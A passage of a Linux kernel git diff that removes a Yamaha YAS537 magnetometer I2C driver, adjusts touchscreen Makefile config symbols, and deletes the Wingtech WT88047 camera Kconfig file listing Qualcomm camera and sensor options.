hard_offset); -#endif -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS532 \ - || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS533 - ret = st->mag.ext(YAS532_SET_HW_OFFSET, hard_offset); -#endif - mutex_unlock(&st->lock); - if (ret < 0) - return -EFAULT; - return count; -} -#endif - -static ssize_t yas_static_matrix_show(struct device *dev, - struct device_attribute *attr, char *buf) -{ - struct yas_state *st = i2c_get_clientdata(this_client); - int16_t m[9]; - int ret; - mutex_lock(&st->lock); -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS530 - ret = st->mag.ext(YAS530_GET_STATIC_MATRIX, m); -#endif -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS532 \ - || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS533 - ret = st->mag.ext(YAS532_GET_STATIC_MATRIX, m); -#endif -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS537 - ret = st->mag.ext(YAS537_GET_STATIC_MATRIX, m); -#endif - mutex_unlock(&st->lock); - if (ret < 0) - return -EFAULT; - return sprintf(buf, "%d %d %d %d %d %d %d %d %d\n", - m[0], m[1], m[2], m[3], m[4], m[5], m[6], m[7], m[8]); -} - -static ssize_t yas_static_matrix_store(struct device *dev, - struct device_attribute *attr, const char *buf, size_t count) -{ - struct yas_state *st = i2c_get_clientdata(this_client); - int16_t m[9]; - int ret; - sscanf(buf, "%hd %hd %hd %hd %hd %hd %hd %hd %hd\n", &m[0], &m[1], &m[2], &m[3], - &m[4], &m[5], &m[6], &m[7], &m[8]); - mutex_lock(&st->lock); -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS530 - ret = st->mag.ext(YAS530_SET_STATIC_MATRIX, m); -#endif -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS532 \ - || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS533 - ret = st->mag.ext(YAS532_SET_STATIC_MATRIX, m); -#endif -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS537 - ret = st->mag.ext(YAS537_SET_STATIC_MATRIX, m); -#endif - mutex_unlock(&st->lock); - if (ret < 0) - return -EFAULT; - return count; -} - -static ssize_t yas_self_test_show(struct device *dev, - struct device_attribute *attr, char *buf) -{ - struct yas_state *st = i2c_get_clientdata(this_client); -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS530 - struct yas530_self_test_result r; -#endif -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS532 \ - || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS533 - struct yas532_self_test_result r; -#endif -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS537 - struct yas537_self_test_result r; -#endif - int ret; - char result[10]; - mutex_lock(&st->lock); -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS530 - ret = st->mag.ext(YAS530_SELF_TEST, &r); -#endif -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS532 \ - || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS533 - ret = st->mag.ext(YAS532_SELF_TEST, &r); -#endif -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS537 - ret = st->mag.ext(YAS537_SELF_TEST, &r); -#endif - mutex_unlock(&st->lock); - -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS530 \ - || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS532 \ - || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS533 - printk("%d %d %d %d %d %d %d %d %d %d %d\n", - ret, r.id, r.xy1y2[0], r.xy1y2[1], r.xy1y2[2], - r.dir, r.sx, r.sy, r.xyz[0], r.xyz[1], r.xyz[2]); -#endif -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS537 - printk("%d %d %d %d %d %d %d %d\n", ret, r.id, r.dir, - r.sx, r.sy, r.xyz[0], r.xyz[1], r.xyz[2]); -#endif - - if (ret != 0 || r.id != 7 || r.sx < 24 || r.sy < 31) { - printk("yas537 selftest fail\n"); - strcpy(result, "n"); - return sprintf(buf, "%s\n", result); - } else { - printk("yas537 selftest pass\n"); - strcpy(result, "y"); - return sprintf(buf, "%s\n", result); - } -} - -static ssize_t yas_self_test_noise_show(struct device *dev, - struct device_attribute *attr, char *buf) -{ - struct yas_state *st = i2c_get_clientdata(this_client); - int32_t xyz_raw[3]; - int ret; - mutex_lock(&st->lock); -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS530 - ret = st->mag.ext(YAS530_SELF_TEST_NOISE, xyz_raw); -#endif -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS532 \ - || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS533 - ret = st->mag.ext(YAS532_SELF_TEST_NOISE, xyz_raw); -#endif -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS537 - ret = st->mag.ext(YAS537_SELF_TEST_NOISE, xyz_raw); -#endif - mutex_unlock(&st->lock); - if (ret < 0) - return -EFAULT; - return sprintf(buf, "%d %d %d\n", xyz_raw[0], xyz_raw[1], xyz_raw[2]); -} - -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS537 -static ssize_t yas_mag_average_sample_show(struct device *dev, - struct device_attribute *attr, char *buf) -{ - struct yas_state *st = i2c_get_clientdata(this_client); - int8_t mag_average_sample; - int ret; - mutex_lock(&st->lock); - ret = st->mag.ext(YAS537_GET_AVERAGE_SAMPLE, &mag_average_sample); - mutex_unlock(&st->lock); - if (ret < 0) - return -EFAULT; - return sprintf(buf, "%d\n", mag_average_sample); -} - -static ssize_t yas_mag_average_sample_store(struct device *dev, - struct device_attribute *attr, const char *buf, size_t count) -{ - struct yas_state *st = i2c_get_clientdata(this_client); - int32_t tmp; - int8_t mag_average_sample; - int ret; - sscanf(buf, "%d\n", &tmp); - mag_average_sample = (int8_t)tmp; - mutex_lock(&st->lock); - ret = st->mag.ext(YAS537_SET_AVERAGE_SAMPLE, &mag_average_sample); - mutex_unlock(&st->lock); - if (ret < 0) - return -EFAULT; - return count; -} - -static ssize_t yas_ouflow_thresh_show(struct device *dev, - struct device_attribute *attr, char *buf) -{ - struct yas_state *st = i2c_get_clientdata(this_client); - int16_t thresh[6]; - int ret; - mutex_lock(&st->lock); - ret = st->mag.ext(YAS537_GET_OUFLOW_THRESH, thresh); - mutex_unlock(&st->lock); - if (ret < 0) - return -EFAULT; - return sprintf(buf, "%d %d %d %d %d %d\n", thresh[0], thresh[1], - thresh[2], thresh[3], thresh[4], thresh[5]); -} -#endif - -static ssize_t loadCalLibs_show(struct device *dev, struct device_attribute *attr, - char *buf) -{ - char *yas_buf = "yas537-ori"; - return snprintf(buf, 20, "%s", - yas_buf); -} - -static DEVICE_ATTR(loadCalLibs, S_IRUGO | S_IWUSR, loadCalLibs_show, NULL); - -static DEVICE_ATTR(position, S_IRUSR|S_IWUSR, yas_position_show, - yas_position_store); -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS530 \ - || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS532 \ - || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS533 -static DEVICE_ATTR(hard_offset, S_IRUSR|S_IWUSR, yas_hard_offset_show, - yas_hard_offset_store); -#endif -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS537 -static DEVICE_ATTR(hard_offset, S_IRUSR, yas_hard_offset_show, NULL); -#endif -static DEVICE_ATTR(static_matrix, S_IRUSR|S_IWUSR, - yas_static_matrix_show, yas_static_matrix_store); -static DEVICE_ATTR(yas_self_test, S_IRUGO | S_IWUSR, yas_self_test_show, NULL); -static DEVICE_ATTR(self_noise, S_IRUSR, yas_self_test_noise_show, NULL); -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS537 -static DEVICE_ATTR(mag_average_sample, S_IRUSR|S_IWUSR, - yas_mag_average_sample_show, yas_mag_average_sample_store); -static DEVICE_ATTR(ouflow_thresh, S_IRUSR, yas_ouflow_thresh_show, NULL); -#endif - -static struct attribute *yas_attributes[] = { - &dev_attr_loadCalLibs.attr, - &dev_attr_position.attr, - &dev_attr_hard_offset.attr, - &dev_attr_static_matrix.attr, - &dev_attr_yas_self_test.attr, - &dev_attr_self_noise.attr, -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS537 - &dev_attr_mag_average_sample.attr, - &dev_attr_ouflow_thresh.attr, -#endif - NULL -}; -static struct attribute_group yas_attribute_group = { - .attrs = yas_attributes -}; - -static void yas_work_func(struct work_struct *work) -{ - struct yas_state *st - = container_of((struct delayed_work *)work, - struct yas_state, work); - struct yas_data mag[1]; - int32_t poll_delay; - uint32_t time_before, time_after; - int ret, i; - ktime_t timestamp; - - timestamp = ktime_get_boottime(); - time_before = yas_current_time(); - mutex_lock(&st->lock); - ret = st->mag.measure(mag, 1); - if (ret == 1) { - for (i = 0; i < 3; i++) - st->compass_data[i] = mag[0].xyz.v[i]; - } - poll_delay = st->poll_delay; - mutex_unlock(&st->lock); - if (ret == 1) { - /* report magnetic data in [nT] */ - input_report_abs(st->input_dev, ABS_X, mag[0].xyz.v[0]); - input_report_abs(st->input_dev, ABS_Y, mag[0].xyz.v[1]); - input_report_abs(st->input_dev, ABS_Z, mag[0].xyz.v[2]); - input_event(st->input_dev, - EV_SYN, SYN_TIME_SEC, - ktime_to_timespec(timestamp).tv_sec); - input_event(st->input_dev, - EV_SYN, SYN_TIME_NSEC, - ktime_to_timespec(timestamp).tv_nsec); - input_sync(st->input_dev); - } - time_after = yas_current_time(); - poll_delay = poll_delay - (time_after - time_before); - if (poll_delay <= 0) - poll_delay = 1; - schedule_delayed_work(&st->work, msecs_to_jiffies(poll_delay)); -} - -static int yas_enable_set(struct sensors_classdev *sensors_cdev, - unsigned int enable) -{ - struct yas_state *st = i2c_get_clientdata(this_client); - if (enable) - yas_enable(st); - else - yas_disable(st); - return 0; -} - -static int yas_poll_delay_set(struct sensors_classdev *sensors_cdev, - unsigned int delay_ms) -{ - struct yas_state *st = i2c_get_clientdata(this_client); - if (delay_ms <= 0) - delay_ms = 10; - mutex_lock(&st->lock); - if (st->mag.set_delay(delay_ms) == YAS_NO_ERROR) - st->poll_delay = delay_ms; - mutex_unlock(&st->lock); - return 0; -} - -/*****************regulator configuration start**************/ -static int sensor_regulator_configure(struct yas_state *data, bool on) -{ - int rc; - if (!on) { - if (regulator_count_voltages(data->vdd) > 0) - regulator_set_voltage(data->vdd, 0, - YAS537_VDD_MAX_UV); - regulator_put(data->vdd); - - if (regulator_count_voltages(data->vio) > 0) - regulator_set_voltage(data->vio, 0, - YAS537_VIO_MAX_UV); - regulator_put(data->vio); - } else { - data->vdd = regulator_get(&data->client->dev, "vdd"); - if (IS_ERR(data->vdd)) { - rc = PTR_ERR(data->vdd); - dev_err(&data->client->dev, - "Regulator get failed vdd rc=%d\n", rc); - return rc; - } - - if (regulator_count_voltages(data->vdd) > 0) { - rc = regulator_set_voltage(data->vdd, - YAS537_VDD_MIN_UV, YAS537_VDD_MAX_UV); - if (rc) { - dev_err(&data->client->dev, - "Regulator set failed vdd rc=%d\n", - rc); - goto reg_vdd_put; - } - } - - data->vio = regulator_get(&data->client->dev, "vio"); - if (IS_ERR(data->vio)) { - rc = PTR_ERR(data->vio); - dev_err(&data->client->dev, - "Regulator get failed vio rc=%d\n", rc); - goto reg_vdd_set; - } - - if (regulator_count_voltages(data->vio) > 0) { - rc = regulator_set_voltage(data->vio, - YAS537_VIO_MIN_UV, YAS537_VIO_MAX_UV); - if (rc) { - dev_err(&data->client->dev, - "Regulator set failed vio rc=%d\n", rc); - goto reg_vio_put; - } - } - } - - return 0; -reg_vio_put: - regulator_put(data->vio); - -reg_vdd_set: - if (regulator_count_voltages(data->vdd) > 0) - regulator_set_voltage(data->vdd, 0, YAS537_VDD_MAX_UV); -reg_vdd_put: - regulator_put(data->vdd); - return rc; -} - -static int sensor_regulator_power_on(struct yas_state *data, bool on) -{ - int rc = 0; - - if (!on) { - rc = regulator_disable(data->vdd); - if (rc) { - dev_err(&data->client->dev, - "Regulator vdd disable failed rc=%d\n", rc); - return rc; - } - - rc = regulator_disable(data->vio); - if (rc) { - dev_err(&data->client->dev, - "Regulator vio disable failed rc=%d\n", rc); - rc = regulator_enable(data->vdd); - dev_err(&data->client->dev, - "Regulator vio re-enabled rc=%d\n", rc); - /* - * Successfully re-enable regulator. - * Enter poweron delay and returns error. - */ - if (!rc) { - rc = -EBUSY; - goto enable_delay; - } - } - return rc; - } else { - rc = regulator_enable(data->vdd); - if (rc) { - dev_err(&data->client->dev, - "Regulator vdd enable failed rc=%d\n", rc); - return rc; - } - - rc = regulator_enable(data->vio); - if (rc) { - dev_err(&data->client->dev, - "Regulator vio enable failed rc=%d\n", rc); - regulator_disable(data->vdd); - return rc; - } - } - -enable_delay: - msleep(130); - dev_dbg(&data->client->dev, - "Sensor regulator power on =%d\n", on); - return rc; -} - -static int sensor_platform_hw_power_on(bool on) -{ - struct yas_state *data; - int err = 0; - - /* pdev_data is global pointer to struct yas_state */ - if (pdev_data == NULL) - return -ENODEV; - data = pdev_data; - - if (data->power_on != on) { - - err = sensor_regulator_power_on(data, on); - if (err) - dev_err(&data->client->dev, - "Can't configure regulator!\n"); - else - data->power_on = on; - } - - return err; -} - -static int sensor_platform_hw_init(void) -{ - struct i2c_client *client; - struct yas_state *data; - int error; - - if (pdev_data == NULL) - return -ENODEV; - - data = pdev_data; - client = data->client; - - error = sensor_regulator_configure(data, true); - if (error < 0) { - dev_err(&client->dev, "unable to configure regulator\n"); - return error; - } - - return 0; -} - -static void sensor_platform_hw_exit(void) -{ - struct yas_state *data = pdev_data; - - if (data == NULL) - return; - - sensor_regulator_configure(data, false); -} - -static int sensor_parse_dt(struct device *dev, - struct yas537_platform_data *pdata) -{ - pdata->init = sensor_platform_hw_init; - pdata->exit = sensor_platform_hw_exit; - pdata->power_on = sensor_platform_hw_power_on; - return 0; -} - -static int yas_i2c_rxdata( - struct i2c_client *i2c, - uint8_t *rxData, - int length) -{ - int ret; - struct i2c_msg msgs[] = { - { - .addr = i2c->addr, - .flags = 0, - .len = 1, - .buf = rxData, - }, - { - .addr = i2c->addr, - .flags = I2C_M_RD, - .len = length, - .buf = rxData, - }, - }; - uint8_t addr = rxData[0]; - - ret = i2c_transfer(i2c->adapter, msgs, ARRAY_SIZE(msgs)); - if (ret < 0) { - dev_err(&i2c->dev, "%s: transfer failed.", __func__); - return ret; - } else if (ret != ARRAY_SIZE(msgs)) { - dev_err(&i2c->dev, "%s: transfer failed(size error).\n", - __func__); - return -ENXIO; - } - dev_vdbg(&i2c->dev, "RxData: len=%02x, addr=%02x, data=%02x", - length, addr, rxData[0]); - return 0; -} - -/******************regulator ends***********************/ -static int yas_probe(struct i2c_client *i2c, const struct i2c_device_id *id) -{ - struct yas_state *st = NULL; - struct input_dev *input_dev = NULL; - int ret, i; - uint8_t sense_conf[2]; - struct yas537_platform_data *pdata; - - if (!i2c_check_functionality(i2c->adapter, I2C_FUNC_I2C)) { - dev_err(&i2c->dev, - "%s: check_functionality failed.", __func__); - ret = -ENODEV; - return ret; - } - - this_client = i2c; - input_dev = input_allocate_device(); - if (input_dev == NULL) { - ret = -ENOMEM; - goto error_free; - } - - if (i2c->dev.of_node) { - pdata = devm_kzalloc(&i2c->dev, - sizeof(struct yas537_platform_data), - GFP_KERNEL); - if (!pdata) { - dev_err(&i2c->dev, "Failed to allocate memory\n"); - return -ENOMEM; - } - - i2c->dev.platform_data = pdata; - ret = sensor_parse_dt(&i2c->dev, pdata); - if (ret) { - dev_err(&i2c->dev, - "%s: sensor_parse_dt() err\n", __func__); - return ret; - } - } else { - pdata = i2c->dev.platform_data; - if (!pdata) { - dev_err(&i2c->dev, "No platform data\n"); - return -ENODEV; - } - } - - ret = yas_i2c_rxdata(this_client, sense_conf, 2); - if (ret < 0) { - printk("yas537 i2c error\n"); - - return ret; - } - - st = kzalloc(sizeof(struct yas_state), GFP_KERNEL); - if (st == NULL) { - ret = -ENOMEM; - goto error_ret; - } - - st->platform_data = pdata; - st->client = i2c; - pdev_data = st; - - i2c_set_clientdata(i2c, st); - - if (pdata->init) - pdata->init(); - - input_dev->name = YAS_MSM_NAME; - input_dev->dev.parent = &i2c->dev; - input_dev->id.bustype = BUS_I2C; - set_bit(EV_ABS, input_dev->evbit); - input_set_abs_params(input_dev, ABS_X, INT_MIN, INT_MAX, 0, 0); - input_set_abs_params(input_dev, ABS_Y, INT_MIN, INT_MAX, 0, 0); - input_set_abs_params(input_dev, ABS_Z, INT_MIN, INT_MAX, 0, 0); - - input_set_drvdata(input_dev, st); - atomic_set(&st->enable, 0); - st->input_dev = input_dev; - st->poll_delay = YAS_DEFAULT_SENSOR_DELAY; - st->mag.callback.device_open = yas_device_open; - st->mag.callback.device_close = yas_device_close; - st->mag.callback.device_write = yas_device_write; - st->mag.callback.device_read = yas_device_read; - st->mag.callback.usleep = yas_usleep; - st->mag.callback.current_time = yas_current_time; - INIT_DELAYED_WORK(&st->work, yas_work_func); - mutex_init(&st->lock); - for (i = 0; i < 3; i++) - st->compass_data[i] = 0; - - ret = input_register_device(input_dev); - if (ret) - goto error_free_device; - - st->cdev = sensors_cdev; - st->cdev.sensors_enable = yas_enable_set; - st->cdev.sensors_poll_delay = yas_poll_delay_set; - - ret = sensors_classdev_register(&st->input_dev->dev, &st->cdev); - if (ret) { - dev_err(&i2c->dev, "class device create failed: %d\n", ret); - goto error_classdev_unregister; - } - - st->dev = st->cdev.dev; - - ret = sysfs_create_group(&st->dev->kobj, &yas_attribute_group); - if (ret) - goto error_unregister_device; - ret = yas_mag_driver_init(&st->mag); - if (ret < 0) { - ret = -EFAULT; - goto error_remove_sysfs; - } - ret = st->mag.init(); - if (ret < 0) { - ret = -EFAULT; - goto error_remove_sysfs; - } - dev_info(&i2c->dev, " yas537 successfully probed."); - /* hardwareinfo_set_prop(HARDWARE_MAGNETOMETER, "yas537"); */ - return 0; - -error_remove_sysfs: - sysfs_remove_group(&st->dev->kobj, &yas_attribute_group); -error_unregister_device: - device_unregister(st->dev); -error_classdev_unregister: - sensors_classdev_unregister(&st->cdev); -error_free_device: - input_free_device(input_dev); -error_free: - kfree(st); -error_ret: - i2c_set_clientdata(i2c, NULL); - this_client = NULL; - return ret; -} - -static int yas_remove(struct i2c_client *i2c) -{ - struct yas_state *st = i2c_get_clientdata(i2c); - if (st != NULL) { - yas_disable(st); - st->mag.term(); - sysfs_remove_group(&st->dev->kobj, - &yas_attribute_group); - input_unregister_device(st->input_dev); - input_free_device(st->input_dev); - device_unregister(st->dev); - class_destroy(st->class); - kfree(st); - this_client = NULL; - } - return 0; -} - -#ifdef CONFIG_PM_SLEEP -static int yas_suspend(struct device *dev) -{ - struct yas537_platform_data *pdata; - pdata = pdev_data->platform_data; - if (atomic_read(&pdev_data->enable)) { - cancel_delayed_work_sync(&pdev_data->work); - pdev_data->mag.set_enable(0); - } - - if (pdata->power_on) - pdata->power_on(false); - return 0; -} - -static int yas_resume(struct device *dev) -{ - struct yas537_platform_data *pdata; - pdata = pdev_data->platform_data; - if (atomic_read(&pdev_data->enable)) { - pdev_data->mag.set_enable(1); - schedule_delayed_work(&pdev_data->work, 0); - } - - if (pdata->power_on) - pdata->power_on(true); - return 0; -} - -static SIMPLE_DEV_PM_OPS(yas_pm_ops, yas_suspend, yas_resume); -#define YAS_PM_OPS (&yas_pm_ops) -#else -#define YAS_PM_OPS NULL -#endif - -static const struct i2c_device_id yas_id[] = { - {YAS_MSM_NAME, 0}, - { } -}; -MODULE_DEVICE_TABLE(i2c, yas_id); - - -static struct of_device_id yas_match_table[] = { - { .compatible = "yamaha,yas537", }, - { }, -}; - -static struct i2c_driver yas_driver = { - .driver = { - .name = YAS_MSM_NAME, - .owner = THIS_MODULE, - .pm = YAS_PM_OPS, - .of_match_table = yas_match_table, - }, - .probe = yas_probe, - .remove = yas_remove, - .id_table = yas_id, -}; -static int __init yas_driver_init(void) -{ - return i2c_add_driver(&yas_driver); -} - -static void __exit yas_driver_exit(void) -{ - i2c_del_driver(&yas_driver); -} - -module_init(yas_driver_init); -module_exit(yas_driver_exit); - -MODULE_DESCRIPTION("Yamaha Magnetometer I2C driver"); -MODULE_LICENSE("GPL v2"); -MODULE_VERSION("1.6.5.1022"); diff --git a/drivers/input/touchscreen/Makefile b/drivers/input/touchscreen/Makefile index 29babe2563851..ad2c996d3c207 100755 --- a/drivers/input/touchscreen/Makefile +++ b/drivers/input/touchscreen/Makefile @@ -91,12 +91,12 @@ obj-$(CONFIG_TOUCHSCREEN_BU21150) += bu21150.o obj-$(CONFIG_INPUT_MT_WRAPPER) += input_mt_wrapper.o obj-$(CONFIG_TOUCHSCREEN_IT7260_I2C) += it7258_ts_i2c.o +# crackling touchscreen obj-$(CONFIG_TOUCHSCREEN_HIMAX852XES) += himax_852xES/ - -obj-$(CONFIG_MACH_LONGCHEER) += lct_tp_fm_info.o -obj-$(CONFIG_MACH_LONGCHEER) += lct_ctp_selftest.o -obj-$(CONFIG_MACH_LONGCHEER) += lct_ctp_upgrade.o -obj-$(CONFIG_MACH_LONGCHEER) += lct_if_ctp_upgrade.o +obj-$(CONFIG_TOUCHSCREEN_HIMAX852XES) += lct_tp_fm_info.o +obj-$(CONFIG_TOUCHSCREEN_HIMAX852XES) += lct_ctp_selftest.o +obj-$(CONFIG_TOUCHSCREEN_HIMAX852XES) += lct_ctp_upgrade.o +obj-$(CONFIG_TOUCHSCREEN_HIMAX852XES) += lct_if_ctp_upgrade.o obj-$(CONFIG_TOUCHSCREEN_MSG2XXX) += msg2xxx.o obj-$(CONFIG_MACH_YULONG) += touchscreen_yl.o diff --git a/drivers/media/platform/msm/Kconfig b/drivers/media/platform/msm/Kconfig index d4425ba3de3f8..d42768b9732bd 100644 --- a/drivers/media/platform/msm/Kconfig +++ b/drivers/media/platform/msm/Kconfig @@ -33,20 +33,8 @@ config MSMB_CAMERA_DEBUG ---help--- Enable printk() debug for msm camera 2.0 -menuconfig WT88047_CAMERA - bool "Wingtech WT88047 variant of the camera stack" - depends on ARCH_MSM && VIDEO_V4L2 && I2C && MSMB_CAMERA && MACH_WT88047 - default n - ---help--- - Enable the old Wingtech WT88047 camera code - if MSMB_CAMERA -if WT88047_CAMERA -source "drivers/media/platform/msm/camera_wt88047_v2/Kconfig" -endif -if !WT88047_CAMERA source "drivers/media/platform/msm/camera_v2/Kconfig" -endif endif # MSMB_CAMERA source "drivers/media/platform/msm/vidc/Kconfig" diff --git a/drivers/media/platform/msm/Makefile b/drivers/media/platform/msm/Makefile index 8617853f0d84a..bf723bf32c426 100644 --- a/drivers/media/platform/msm/Makefile +++ b/drivers/media/platform/msm/Makefile @@ -7,9 +7,5 @@ obj-$(CONFIG_MSM_VIDC_V4L2) += vidc/ obj-$(CONFIG_MSM_WFD) += wfd/ obj-y += broadcast/ obj-$(CONFIG_DVB_MPQ) += dvb/ -ifeq ($(CONFIG_WT88047_CAMERA),y) -obj-$(CONFIG_MSMB_CAMERA) += camera_wt88047_v2/ -else obj-$(CONFIG_MSMB_CAMERA) += camera_v2/ -endif obj-$(CONFIG_MSM_VPU) += vpu/ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/Kconfig b/drivers/media/platform/msm/camera_wt88047_v2/Kconfig deleted file mode 100644 index 56834c8ddd6ac..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/Kconfig +++ /dev/null @@ -1,260 +0,0 @@ -config MSM_CAMERA_SENSOR - bool "Qualcomm MSM camera sensor support" - depends on MSMB_CAMERA - ---help--- - This flag enables support for Camera Sensor. - The sensor driver is capable of providing real time - data for camera support. The driver support V4L2 - subdev APIs. - -config MSM_CPP - bool "Qualcomm MSM Camera Post Processing Engine support" - depends on MSMB_CAMERA - ---help--- - Enable support for Camera Post-processing Engine - The Post processing engine is capable of scaling - and cropping image. The driver support V4L2 subdev - APIs. - -config MSM_CCI - bool "Qualcomm MSM Camera Control Interface support" - depends on MSMB_CAMERA - ---help--- - Enable support for Camera Control Interface driver only - for those platforms that have hardware support. This driver - is responsible for handling I2C read and write on the I2C - bus. It is also responsible for synchronization with - GPIO and data frames. - -config MSM_CSI20_HEADER - bool "Qualcomm MSM CSI 2.0 Header" - depends on MSMB_CAMERA - ---help--- - Enable support for CSI drivers to include 2.0 - header. This header has register macros and its - values and bit mask for register configuration bits - This config macro is required targets based on 8960, - 8930 and 8064 platforms. - -config MSM_CSI22_HEADER - bool "Qualcomm MSM CSI 2.2 Header" - depends on MSMB_CAMERA - ---help--- - Enable support for CSI drivers to include 2.2 - header. This header has register macros and its - values and bit mask for register configuration bits - This config macro is required targets based on 8610 - platform. - -config MSM_CSI30_HEADER - bool "Qualcomm MSM CSI 3.0 Header" - depends on MSMB_CAMERA - ---help--- - Enable support for CSI drivers to include 3.0 - header. This header has register macros and its - values and bit mask for register configuration bits - This config macro is required for targets based on - 8064 platforms. - -config MSM_CSI31_HEADER - bool "Qualcomm MSM CSI 3.1 Header" - depends on MSMB_CAMERA - ---help--- - Enable support for CSI drivers to include 3.0 - header. This header has register macros and its - values and bit mask for register configuration bits - This config macro is required for targets based on - APQ8084 platform. - -config MSM_CSIPHY - bool "Qualcomm MSM Camera Serial Interface Physical receiver support" - depends on MSMB_CAMERA - ---help--- - Enable support for Camera Serial Interface - Physical receiver. It deserializes packets and - supports detection of packet start and stop - signalling. - -config MSM_CSID - bool "Qualcomm MSM Camera Serial Interface decoder support" - depends on MSMB_CAMERA - ---help--- - Enable support for Camera Serial Interface decoder. - It supports lane merging and decoding of packets - based on cid which is mapped to a virtual channel - and datatype. - -config MSM_EEPROM - bool "Qualcomm MSM Camera ROM Interface for Calibration support" - depends on MSMB_CAMERA - ---help--- - Enable support for ROM Interface for Calibration - Provides interface for reading the Claibration data. - and also provides support for writing data in case of FLASH ROM. - Currently supports I2C, CCI and SPI protocol - -config MSM_ISPIF - bool "Qualcomm MSM Image Signal Processing interface support" - depends on MSMB_CAMERA - ---help--- - Enable support for Image Signal Processing interface module. - This module acts as a crossbar between CSID and VFE. Output - of any CID of CSID can be routed to of of pixel or raw - data interface in VFE. - -config MSM_ISPIF_V1 - bool "Qualcomm MSM Image Signal Processing interface support" - depends on MSMB_CAMERA - ---help--- - Enable support for Image Signal Processing interface module. - This module acts as a crossbar between CSID and VFE. Output - of any CID of MSM_CSI22_HEADER can be routed to of pixel - or raw data interface in VFE. - -config IMX134 - bool "Sensor IMX134 (BAYER 8M)" - depends on MSMB_CAMERA - ---help--- - Sony 8 MP Bayer Sensor with auto focus, uses - 4 mipi lanes full resolution @30fps and - HFR @60fps and @120fps, - Video HDR support. - -config IMX132 - bool "Sensor IMX132 (BAYER 2M)" - depends on MSMB_CAMERA - ---help--- - Sony 2 MP Bayer Sensor with auto focus, uses - 2 mipi lanes, preview config = 1920 x 1080 at 30 fps, - snapshot config = 1920 x 1080 at 30 fps, - Video HDR support. - -config OV9724 - bool "Sensor OV9724 (BAYER 2M)" - depends on MSMB_CAMERA - ---help--- - OmniVision 2 MP Bayer Sensor, supports 2 mipi lanes, - preview and snapshot config at 1280*720 at 30 fps, - hfr video at 60, 90 and 120 fps. This sensor driver does - not support auto focus. - -config HI256 - bool "Hynix hi256 (YUV 2MP)" - depends on MSMB_CAMERA - ---help--- - OmniVision 8 MP Bayer Sensor with auto focus.uses - 2 mipi lanes, preview config = 1632*1224 30 fps, - snapshot config = 3264 * 2448 at 18 fps. - 2 lanes max fps is 18, 4 lanes max fps is 24. - -config OV5648 - bool "Sensor OV5648 (BAYER 5M)" - depends on MSMB_CAMERA - ---help--- - OmniVision 5 MP Bayer Sensor, only use 1 mipi lane, - preview set to 1296*972 at 30 fps, - snapshot set to 2592*1944 at 12 fps, - This sensor driver does not support auto focus. - -config MT9M114 - bool "Sensor MT9M114 (YUV 1.26MP)" - depends on MSMB_CAMERA - ---help--- - MT9M114 is Aptina YUV sensor. It supports 1.26 MP preview - and snapshot. The preview and snapshot resolution shall be - 1280 * 270. It does not support auto focus. It supports - few special effects like saturation. -config OV5645 - bool "Sensor OV5645 (YUV 5.0MP)" - depends on MSMB_CAMERA - ---help--- - OV5645 is Omnivision YUV sensor. It supports 5.0 MP preview - and snapshot. The preview and snapshot resolution shall be - 1280 * 270. It does not support auto focus. It supports - few special effects like saturation. - -config OV7695 - bool "Sensor OV7695 (YUV 0.3MP)" - depends on MSMB_CAMERA - ---help--- - OV7695 is Omnivision YUV sensor. It supports 0.3 MP preview - and snapshot. The preview and snapshot resolution shall be - VGA. It does not support auto focus. It supports - few special effects like saturation. - -config SP1628 - bool "Sensor SP1628 (YUV 720P)" - depends on MSMB_CAMERA - ---help--- - SP1628 is SuperPix YUV sensor. It supports 720P preview - and snapshot. The preview and snapshot resolution shall be - 1280 * 270. It does not support auto focus. It supports - few special effects like mono. - -config GC0339 - bool "Sensor GC0339 (BAYER .3M)" - depends on MSMB_CAMERA - ---help--- - gc0339 is a Galaxycore .3 MP Bayer Sensor. - It supports 1 or 2 mipi lanes. - Preview and snapshot resolution shall be 640*480 at 30 fps, - It does not support auto focus. - -config OV8825 - bool "OmniVision OV8825 (BAYER 8MP)" - depends on MSMB_CAMERA - ---help--- - OmniVision 8 MP Bayer Sensor with auto focus.uses - 2 mipi lanes, preview config = 1632*1224 30 fps, - snapshot config = 3264 * 2448 at 18 fps. - 2 lanes max fps is 18, 4 lanes max fps is 24. - -config OV8865 - bool "OmniVision OV8865 (BAYER 8MP)" - depends on MSMB_CAMERA - ---help--- - OmniVision 8 MP Bayer Sensor with auto focus.uses - 4 mipi lanes, preview config = 1632*1224 30 fps, - snapshot config = 3264 * 2448 at 30 fps. - Max fps 